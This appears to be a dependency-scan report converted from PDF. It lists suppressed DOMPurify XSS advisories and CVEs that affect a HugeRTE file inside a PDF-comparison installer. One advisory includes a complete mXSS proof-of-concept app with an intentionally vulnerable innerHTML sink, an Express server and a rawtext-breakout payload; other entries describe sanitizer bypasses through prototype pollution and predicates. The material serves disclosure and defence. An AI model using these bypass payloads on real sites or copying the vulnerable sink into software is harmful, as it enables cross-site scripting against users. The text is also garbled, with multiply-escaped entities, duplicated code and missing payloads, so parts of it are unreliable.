16px; } .card { background: var(--panel); border: 1px solid var(--line); border-radius: 12px; padding: 14px; } label { display: block; margin-bottom: 7px; font-size: 0.85rem; color: var(--muted); } textarea, input, select, button { width: 100%; border: 1px solid var(--line); border-radius: 8px; padding: 9px 10px; font: inherit; background: #fff; } textarea { min-height: 110px; resize: vertical; } .row { display: grid; grid-template-columns: 1fr 230px; gap: 12px; } button { cursor: pointer; background: var(--accent); color: #fff; border-color: #0284c7; } #sink { min-height: 90px; border: 1px dashed #94a3b8; border-radius: 8px; padding: 10px; background: #f8f9fa; } pre { margin: 0; white-space: pre-wrap; word-break: break-word; } .note { margin-top: 8px; font-size: 0.85rem; } .status-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(180px, 1fr)); gap: 8px; margin-top: 10px; } .status-item { border: 1px solid var(--line); border-radius: 8px; padding: 8px 10px; font-size: 0.85rem; background: #fff; } .status-item.vuln { border-color: #ef4444; background: #fef2f2; } .status-item.safe { border-color: #22c55e; background: #f0fdf4; } @media (max-width: 760px) { .row { grid-template-columns: 1fr; } } </style> </head> <body> <main> <h1>expoc - DOMPurify Server-Side PoC</h1> <p> Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML. </p> <div class="grid"> <section class="card"> <label for="payload">Payload</label> <textarea id="payload"><img src=x alt="</script>"></textarea> <div class="row" style="margin-top: 10px;"> <div> <label for="wrapper">Wrapper en sink</label> <select id="wrapper"> <option value="div">div</option> <option value="textarea">textarea</option> <option value="title">title</option> <option value="style">style</option> <option value="script" selected>script</option> <option value="xmp">xmp</option> <option value="iframe">iframe</option> <option value="noembed">noembed</option> <option value="noframes">noframes</option> <option value="noscript">noscript</option> </select> </div> <div style="display:flex;align-items:end;"> <button id="run" type="button">Sanitize + Render</button> </div> </div> <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '<wrapper>' + sanitized + '</wrapper>';</code>.</p> <div class="status-grid"> <div class="status-item vuln">script (vulnerable)</div> <div class="status-item vuln">xmp (vulnerable)</div> <div class="status-item vuln">iframe (vulnerable)</div> <div class="status-item vuln">noembed (vulnerable)</div> <div class="status-item vuln">noframes (vulnerable)</div> <div class="status-item vuln">noscript (vulnerable)</div> <div class="status-item safe">div (no vulnerable)</div> <div class="status-item safe">textarea (no vulnerable)</div> <div class="status-item safe">title (no vulnerable)</div> <div class="status-item safe">style (no vulnerable)</div> </div> </section> <section class="card"> <label>Sanitized response</label> <pre id="sanitized">(empty)</pre> </section> <section class="card"> <label>Sink</label> <div id="sink"></div> </section> </div> </main> <script> const payload = document.getElementById('payload'); const wrapper = document.getElementById('wrapper'); const run = document.getElementById('run'); const sanitizedNode = document.getElementById('sanitized'); const sink = document.getElementById('sink'); run.addEventListener('click', async () => { const response = await fetch('/sanitize', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ input: payload.value }) }); const data = await response.json(); const sanitized = data.sanitized || ''; const w = wrapper.value; sanitizedNode.textContent = sanitized; sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>'; }); </script> </body> </html> `` - server.js ``js const express = require('express'); const path = require('path'); const { JSDOM } = require('jsdom'); const createDOMPurify = require('dompurify'); const app = express(); const port = process.env.PORT || 3001; const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window); app.use(express.json()); app.use(express.static(path.join(__dirname, 'public'))); app.get('/health', (_req, res) => { res.json({

```
ok: true, service: 'expoc' }); }); app.post('/sanitize', (req, res) => { const input = typeof req.
body?.input === 'string' ? req.body.input : ""; const sanitized = DOMPurify.sanitize(input);
res.json({ sanitized }); }); app.listen(port, () => { console.log(`expoc running at
http://localhost:${port}`); }); ``` - package.json ```json { "name": "expoc", "version":
"1.0.0", "main": "server.js", "scripts": { "test": "echo `Error: no test specified`" && exit
1", "start": "node server.js", "dev": "node server.js" }, "keywords": [], "author": "",
"license": "ISC", "description": "", "dependencies": { "dompurify": "^3.3.1", "express":
"^5.2.1", "jsdom": "^28.1.0" } } ``` ## Evidence - PoC [daft-video.webm](https://github.com
/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90) - XSS triggered  ## Why This Happens This is a
mutation-XSS pattern caused by a parse-context mismatch: - Parse 1 (sanitization
phase): input is interpreted under normal HTML parsing rules. - Parse 2 (sink phase):
sanitized output is embedded into a wrapper that changes parser state ( `xmp` raw-text
behavior). - Attacker-controlled sequence ( `</xmp>` ) gains structural meaning in parse 2
and alters DOM structure. Sanitization is not a universal guarantee across all future
parsing contexts. The sink design reintroduces risk. ## Remediation Guidance 1. Do not
concatenate sanitized strings into new HTML wrappers followed by `innerHTML`. 2. Keep
the rendering context stable from sanitize to sink. 3. Prefer DOM-safe APIs ( `textContent`,
`createElement`, `setAttribute` ) over string-based HTML composition. 4. If HTML insertion
is required, sanitize as close as possible to final insertion context and avoid wrapper
constructs with raw-text semantics ( `xmp`, `script`, etc.). 5. Add regression tests for
context-switch/mXSS payloads (including `</xmp>`, `</noscript>`, similar parser-breakout
markers). Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera
and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-
Contextualization in DomPurify 3.3.1. Following Fluid Attacks [Disclosure Policy]
(https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability
and the conditions outlined in the policy are met, this advisory will be published on the
website over the next few days (the timeline may vary depending on maintainers'
willingness to attend to and respond to this report) at the following URL:
https://fluidattacks.com/advisories/daft Acknowledgements: [Camilo Vera](https://github.
com/caverav/) and [Cristian Vargas](https://github.com/tachote). (RETIREJS) suppressed
```

Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).

Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `<xmp> ... </xmp>` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `</xmp>` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (``) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

PoC

1. Start the PoC app:

```
```bash
npm install
npm start
```
```

2. Open `http://localhost:3001`.

3. Set `Wrapper en sink` to `xmp`.

4. Use payload:

```
```html
<img src=x alt="</xmp>">
```
```

5. Click `Sanitize + Render`.
6. Observe:
 - `Sanitized response` still contains the `` sequence inside `alt`.&amp;amp;lt;/li&amp;amp;gt;&amp;amp;lt;li&amp;amp;gt;- The sink reparses to include `&amp;amp;lt;img src="x" onerror="alert('expoc')"&amp;amp;amp;gt;`.&amp;amp;lt;/li&amp;amp;gt;&amp;amp;lt;li&amp;amp;gt;- `alert('expoc')` is triggered.&amp;amp;lt;/li&amp;amp;gt;&amp;amp;lt;/ul&amp;amp;gt;&amp;amp;lt;/li&amp;amp;gt;&amp;amp;lt;li&amp;amp;gt;7. Files:&amp;amp;lt;ul style="list-style-type: none;"&amp;amp;gt;&amp;amp;lt;li&amp;amp;gt;- index.html&amp;amp;lt;/li&amp;amp;gt;&amp;amp;lt;/ul&amp;amp;gt;&amp;amp;lt;/li&amp;amp;gt;&amp;amp;lt;/ol&amp;amp;gt;&amp;amp;lt;/div&amp;amp;gt;&amp;amp;lt;div data-bbox="117 162 699 954" data-label="Text"&amp;amp;gt;&amp;amp;lt;pre&amp;amp;gt;```html
&amp;amp;amp;lt;!doctype html&amp;amp;amp;gt;
&amp;amp;amp;lt;html lang="en"&amp;amp;amp;gt;
&amp;amp;amp;lt;head&amp;amp;amp;gt;
 &amp;amp;amp;lt;meta charset="utf-8"&amp;amp;amp;gt;
 &amp;amp;amp;lt;meta name="viewport" content="width=device-width, initial-scale=1"&amp;amp;amp;gt;
 &amp;amp;amp;lt;title&amp;amp;amp;gt;expoc - DOMPurify SSR PoC&amp;amp;amp;lt;/title&amp;amp;amp;gt;
&amp;amp;amp;lt;style&amp;amp;amp;gt;
 :root {
 --bg: #f7f8fb;
 --panel: #ffffff;
 --line: #d8dce6;
 --text: #0f172a;
 --muted: #475569;
 --accent: #0ea5e9;
 }

 * {
 box-sizing: border-box;
 }

 body {
 margin: 0;
 font-family: "SF Mono", Menlo, Consolas, monospace;
 color: var(--text);
 background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
 }

 main {
 max-width: 980px;
 margin: 28px auto;
 padding: 0 16px 20px;
 }

 h1 {
 margin: 0 0 10px;
 font-size: 1.45rem;
 }

 p {
 margin: 0;
 color: var(--muted);
 }

 .grid {
 display: grid;
 gap: 14px;
 margin-top: 16px;
 }

 .card {
 background: var(--panel);
 border: 1px solid var(--line);
 border-radius: 12px;
 padding: 14px;
 }

 label {
 display: block;
 }
&amp;amp;lt;/pre&amp;amp;gt;&amp;amp;lt;/div&amp;amp;gt;

```
margin-bottom: 7px;
font-size: 0.85rem;
color: var(--muted);
}

textarea,
input,
select,
button {
  width: 100%;
  border: 1px solid var(--line);
  border-radius: 8px;
  padding: 9px 10px;
  font: inherit;
  background: #fff;
}

textarea {
  min-height: 110px;
  resize: vertical;
}

.row {
  display: grid;
  grid-template-columns: 1fr 230px;
  gap: 12px;
}

button {
  cursor: pointer;
  background: var(--accent);
  color: #fff;
  border-color: #0284c7;
}

#sink {
  min-height: 90px;
  border: 1px dashed #94a3b8;
  border-radius: 8px;
  padding: 10px;
  background: #f8fafc;
}

pre {
  margin: 0;
  white-space: pre-wrap;
  word-break: break-word;
}

.note {
  margin-top: 8px;
  font-size: 0.85rem;
}

.status-grid {
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
  gap: 8px;
  margin-top: 10px;
}

.status-item {
  border: 1px solid var(--line);
  border-radius: 8px;
  padding: 8px 10px;
  font-size: 0.85rem;
  background: #fff;
}
```

```

.status-item.vuln {
  border-color: #ef4444;
  background: #fef2f2;
}

.status-item.safe {
  border-color: #22c55e;
  background: #f0fdf4;
}

@media (max-width: 760px) {
  .row {
    grid-template-columns: 1fr;
  }
}
</style>
</head>
<body>
<main>
  <h1>expoc - DOMPurify Server-Side PoC</h1>
  <p>
    Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con
    innerHTML.
  </p>

  <div class="grid">
    <section class="card">
      <label for="payload">Payload</label>
      <textarea id="payload"><img src=x alt=""</script><img src=x onerror=alert('expoc')></>
    </textarea>
    <div class="row" style="margin-top: 10px;">
      <div>
        <label for="wrapper">Wrapper en sink</label>
        <select id="wrapper">
          <option value="div">div</option>
          <option value="textarea">textarea</option>
          <option value="title">title</option>
          <option value="style">style</option>
          <option value="script" selected>script</option>
          <option value="xmp">xmp</option>
          <option value="iframe">iframe</option>
          <option value="noembed">noembed</option>
          <option value="noframes">noframes</option>
          <option value="noscript">noscript</option>
        </select>
      </div>
      <div style="display:flex;align-items:end;">
        <button id="run" type="button">Sanitize + Render</button>
      </div>
    </div>
    <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' +
    sanitized + '&lt;/wrapper&gt;';</code>.</p>
    <div class="status-grid">
      <div class="status-item vuln">script (vulnerable)</div>
      <div class="status-item vuln">xmp (vulnerable)</div>
      <div class="status-item vuln">iframe (vulnerable)</div>
      <div class="status-item vuln">noembed (vulnerable)</div>
      <div class="status-item vuln">noframes (vulnerable)</div>
      <div class="status-item vuln">noscript (vulnerable)</div>
      <div class="status-item safe">div (no vulnerable)</div>
      <div class="status-item safe">textarea (no vulnerable)</div>
      <div class="status-item safe">title (no vulnerable)</div>
      <div class="status-item safe">style (no vulnerable)</div>
    </div>
  </section>

  <section class="card">

```

```

    <label>Sanitized response</label>
    <pre id="sanitized">(empty)</pre>
  </section>

  <section class="card">
    <label>Sink</label>
    <div id="sink"></div>
  </section>
</div>
</main>

<script>
  const payload = document.getElementById('payload');
  const wrapper = document.getElementById('wrapper');
  const run = document.getElementById('run');
  const sanitizedNode = document.getElementById('sanitized');
  const sink = document.getElementById('sink');

  run.addEventListener('click', async () => {
    const response = await fetch('/sanitize', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ input: payload.value })
    });

    const data = await response.json();
    const sanitized = data.sanitized || "";
    const w = wrapper.value;

    sanitizedNode.textContent = sanitized;
    sink.innerHTML = '<' + w + '>' + sanitized + '<' + w + '>';
  });
</script>
</body>
</html>
```

```

- server.js

```

```js
const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM("").window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
  res.json({ ok: true, service: 'expoc' });
});

app.post('/sanitize', (req, res) => {
  const input = typeof req.body?.input === 'string' ? req.body.input : "";
  const sanitized = DOMPurify.sanitize(input);
  res.json({ sanitized });
});

app.listen(port, () => {
  console.log(`expoc running at http://localhost:${port}`);
});
```

```

- package.json

```
```\njson\n{\n  "name": "expoc",\n  "version": "1.0.0",\n  "main": "server.js",\n  "scripts": {\n    "test": "echo \\\"Error: no test specified\\\" && exit 1",\n    "start": "node server.js",\n    "dev": "node server.js"\n  },\n  "keywords": [],\n  "author": "",\n  "license": "ISC",\n  "description": "",\n  "dependencies": {\n    "dompurify": "^3.3.1",\n    "express": "^5.2.1",\n    "jsdom": "^28.1.0"\n  }\n}\n```\n
```

Evidence

- PoC

[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)

- XSS triggered

```

```

Why This Happens

This is a mutation-XSS pattern caused by a parse-context mismatch:

- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text` behavior`).`
- Attacker-controlled sequence (`</xmp>`)` gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

Remediation Guidance

1. Do not concatenate sanitized strings into new HTML wrappers followed by ``innerHTML``.
2. Keep the rendering context stable from sanitize to sink.
3. Prefer DOM-safe APIs (``textContent``, ``createElement``, ``setAttribute``) over string-based HTML composition.
4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (``xmp``, ``script``, etc.).
5. Add regression tests for context-switch/mXSS payloads (including ``</xmp>``, ``</noscript>``, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: <https://fluidattacks.com/advisories/daft>

Acknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- githubID - GHSA-h8r8-wccr-v5f2
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2>

Vulnerable Software & Versions (RETIREJS):

Summary DOMPurify allows ``ADD_ATTR`` to be provided as a predicate function via ``EXTRA_ELEMENT_HANDLING.attributeCheck``. When the predicate returns ``true``, ``_isValidAttribute`` short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as ```` and have the ``javascript:`` URL survive, because URI validation is skipped for that attribute while other checks still pass. The provided PoC accepts ``href`` for anchors and then triggers a click inside an iframe, showing that the sanitized payload executes despite the protocol bypass. **## Impact** Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as ``javascript:`` to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS. **## Credits** Identified by Cantina's Apex (<https://www.cantina.security>). (RETIREJS) suppressed

Summary

DOMPurify allows ``ADD_ATTR`` to be provided as a predicate function via ``EXTRA_ELEMENT_HANDLING.attributeCheck``. When the predicate returns ``true``, ``_isValidAttribute`` short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as ```` and have the ``javascript:`` URL survive, because URI validation is skipped for that attribute while other checks still pass. The provided PoC accepts ``href`` for anchors and then triggers a click inside an iframe, showing that the sanitized payload executes despite the protocol bypass.

Impact

Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as ``javascript:`` to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.

Credits

Identified by Cantina's Apex (<https://www.cantina.security>).

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- githubID - GHSA-cjmm-f4jc-qw8r
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-cjmm-f4jc-qw8r>

Vulnerable Software & Versions (RETIREJS):

Summary In ``src/purify.ts:1117-1123``, ``ADD_TAGS`` as a function (via ``EXTRA_ELEMENT_HANDLING.tagCheck``) bypasses ``FORBID_TAGS`` due to short-circuit evaluation. The condition: ``!!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])`` When ``tagCheck(tagName)`` returns ``true``, the entire condition is ``false`` and the element is kept — ``FORBID_TAGS[tagName]`` is never evaluated. **## Inconsistency** This contradicts the attribute-side pattern at line 1214 where

`FORBID_ATTR` explicitly wins first: ```` if (FORBID_ATTR[lcName]) { continue; } ```` For tags, FORBID should also take precedence over ADD. **## Impact** Applications using both ``ADD_TAGS`` as a function and ``FORBID_TAGS`` simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency. **## Suggested Fix** Check ``FORBID_TAGS`` before ``tagCheck``: ```` if (FORBID_TAGS[tagName]) { /* remove */ } else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ } ```` **## Affected Version v3.3.3 (commit 883ac15) (RETIREJS)**
suppressed

Summary

In ``src/purify.ts:1117-1123``, ``ADD_TAGS`` as a function (via ``EXTRA_ELEMENT_HANDLING.tagCheck``) bypasses ``FORBID_TAGS`` due to short-circuit evaluation.

The condition:

```
```
!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])
```
```

When ``tagCheck(tagName)`` returns ``true``, the entire condition is ``false`` and the element is kept — ``FORBID_TAGS[tagName]`` is never evaluated.

Inconsistency

This contradicts the attribute-side pattern at line 1214 where ``FORBID_ATTR`` explicitly wins first:

```
```
if (FORBID_ATTR[lcName]) { continue; }
```
```

For tags, FORBID should also take precedence over ADD.

Impact

Applications using both ``ADD_TAGS`` as a function and ``FORBID_TAGS`` simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.

Suggested Fix

Check ``FORBID_TAGS`` before ``tagCheck``:

```
```
if (FORBID_TAGS[tagName]) { /* remove */ }
else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }
```
```

Affected Version

v3.3.3 (commit 883ac15)

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- githubID - GHSA-39q2-94rc-95cp
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-39q2-94rc-95cp>

Vulnerable Software & Versions (RETIREJS):

Summary When ``USE_PROFILES`` is enabled, DOMPurify rebuilds ``ALLOWED_ATTR`` as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via ``ALLOWED_ATTR[lcName]``, any ``Array.prototype`` property that is polluted also counts as an allowlisted attribute. An attacker who can set ``Array.prototype.onclick = true`` (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as ``onclick`` even when they are normally forbidden. The provided PoC sanitizes ```` with ``USE_PROFILES`` and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector. **## Impact** Prototype pollution makes DOMPurify accept dangerous event handler attributes,

which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered. **## Credits Identified by Cantina's Apex** (<https://www.cantina.security>).
(RETIREJS) suppressed

Summary

When `USE_PROFILES` is enabled, DOMPurify rebuilds `ALLOWED_ATTR` as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via `ALLOWED_ATTR[lcName]`, any `Array.prototype` property that is polluted also counts as an allowlisted attribute. An attacker who can set `Array.prototype.onclick = true` (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as `onclick` even when they are normally forbidden. The provided PoC sanitizes `` with `USE_PROFILES` and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector.

Impact

Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered.

Credits

Identified by Cantina's Apex (<https://www.cantina.security>).

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- githubID - GHSA-cj63-jhhr-wcxv
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-cj63-jhhr-wcxv>

Vulnerable Software & Versions (RETIREJS):

CVE-2026-41238 (RETIREJS) suppressed

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- info - <https://github.com/cure53/DOMPurify/releases/tag/3.4.0>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-v9jr-rg53-9pgp>

Vulnerable Software & Versions (RETIREJS):

CVE-2026-41239 (RETIREJS) suppressed

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

Unscored:

- Severity: medium

References:

- info - <https://github.com/cure53/DOMPurify/releases/tag/3.4.0>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-crv5-9vww-q3g8>

Vulnerable Software & Versions (RETIREJS):

remotegui.zip: hugerte.jar: theme.js

File Path: /home/jenkins/workspace/pdfc/Check-Product-Installer-for-Security-Problems/PDFCInstaller/server/build/tmp/dependencies/i-net PDFC/plugins/remotegui.zip/hugerte.jar/META-INF/resources/webjars/hugerte/1.0.10/themes/silver/theme.js

MD5: 44cb08e002fca06cb52f0a998a34b913

SHA1: 55458cdd3c063b96d82693d141f535f61e280341

SHA256: b21ab51f48963e96600868f198137d44fac2d2f4a932d90104ffb11ab80b5544

Referenced In Project/Scope: server

Evidence



Suppressed Identifiers

- None

Suppressed Vulnerabilities



[CVE-2026-41240](#) suppressed

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'),
CWE-183 Permissive List of Allowed Inputs

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

CVSSv4:

- MEDIUM (6.0)
- CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- 134c704f-9b21-4f2e-91b3-4a467353bcc0 - [EXPLOIT,MITIGATION,PATCH,VENDOR_ADVISORY](#)
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.4.0>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m>
- security-advisories@github.com - [EXPLOIT,MITIGATION,PATCH,VENDOR_ADVISORY](#)
- security-advisories@github.com - [PATCH](#)
- security-advisories@github.com - [PRODUCT,RELEASE_NOTES](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:cure53:dompurify:*:*:*:*:* versions up to (excluding) 3.4.0

CVE-2026-0540 suppressed

DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in commit 2726c74, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFE_FOR_XML regex. Attackers can include payloads like </noscript> in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

CVSSv4:

- MEDIUM (5.3)
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSX:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- help@fluidattacks.com - <https://fluidattacks.com/advisories/daft>
- help@fluidattacks.com - <https://github.com/cure53/DOMPurify/commit/302b51de22535cc90235472c52e3401bedd46f80>
- help@fluidattacks.com - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- help@fluidattacks.com - [PRODUCT](#)
- help@fluidattacks.com - [THIRD PARTY ADVISORY](#)
- info - <https://github.com/cure53/DOMPurify/commit/fca0a938b4261ddc9c0293a289935a9029c049f5>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-missing-rawtext-elements-in-safe-for-xml>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-missing-rawtext-elements-in-safe-for-xml>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:cure53:dompurify:*:*:*:*:* versions from (including) 2.5.3; versions up to (including) 2.5.8
- cpe:2.3:a:cure53:dompurify:*:*:*:*:* versions from (including) 3.1.3; versions up to (including) 3.3.1

CVE-2025-15599 suppressed

DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like </textarea> in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

CVSSv4:

- MEDIUM (5.1)
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSX:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- disclosure@vulncheck.com - [PATCH](#)
- disclosure@vulncheck.com - [PRODUCT](#)
- disclosure@vulncheck.com - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/cure53/DOMPurify/commit/c861f5a83fb8d90800f1680f855fee551161ac2b>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml>
- info - <https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:cure53:dompurify:*:*:*:*:* versions from (including) 2.5.3; versions up to (including) 2.5.8
- cpe:2.3:a:cure53:dompurify:*:*:*:*:* versions from (including) 3.1.3; versions up to (excluding) 3.2.7

